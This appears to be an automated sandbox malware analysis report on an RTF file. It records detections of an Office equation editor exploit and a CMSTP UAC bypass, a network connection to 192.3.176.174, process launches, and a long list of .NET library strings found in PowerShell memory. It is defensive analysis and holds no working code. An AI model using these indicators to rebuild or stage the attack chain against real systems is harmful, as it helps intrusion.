Windows Analysis Report
IFqsFpijFt.rtf

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 6.2.powershell.exe.3c87e48.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.powershell.exe.3c87e48.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.369992455.0000000003820000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3208, type: MEMORYSTR

Source: powershell.exe, 00000006.00000002.369992455.0000000003820000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_b91d8862-8

Exploits

Source: Yara match	File source: 6.2.powershell.exe.3c87e48.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.powershell.exe.3c87e48.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.369992455.0000000003820000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3208, type: MEMORYSTR

Office equation editor establishes network connection

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Network connect: IP: 192.3.176.174 Port: 80

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\wscript.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\wscript.exe			Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Document exploit detected (process start blacklist hit)

Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetHandler source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberRefProps source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeRefs source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParent source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.ApplyEditAndContinue source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.Current source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineModuleRef source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNameFromToken source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteFieldMarshal source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindField source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembers source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteClassLayout source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsValidToken source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Merge source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMemberRef source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamProps source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParamProps source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetSaveSize source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeRef source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResetEnum source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumProperties source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodProps source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembersWithName source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetCustomAttributeValue source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineCustomAttribute source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodImpls source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineEvent source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeByName source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethod source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.TranslateSigWithScope source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineUserString source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Save source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeSpecFromToken source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPermissionSetProps source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNativeCallConvFromSig source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CountEnum source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodSemantics source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFields source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethods source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeRefProps source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetSigFromToken source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeSpecs source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CloseEnum source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleRefProps source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToMemory source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeRefByName source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetScopeProps source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMember source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPropertyProps source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumParams source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.MergeEnd source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetEventProps source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumCustomAttributes source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldProps source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumModuleRefs source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_Current source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeProps source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldProps source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineParam source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteToken source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetClassLayout source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineNestedType source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUnresolvedMethods source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumPermissionSets source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Managed source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetRVA source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleFromScope source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethodImpl source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePinvokeMap source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineSecurityAttributeSet source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetClassLayout source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMemberRef source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPermissionSetProps source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetTypeDefProps source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineProperty source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldRVA source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeDefByName source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetModuleProps source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFieldsWithName source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMemberRefs source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResolveTypeRef source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToStream source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodSemantics source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeDefProps source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMethod source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNestedClassProps source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeletePinvokeMap source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromTypeSpec source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodImplFlags source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPinvokeMap source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPinvokeMap source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumSignatures source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldMarshal source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUserStrings source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
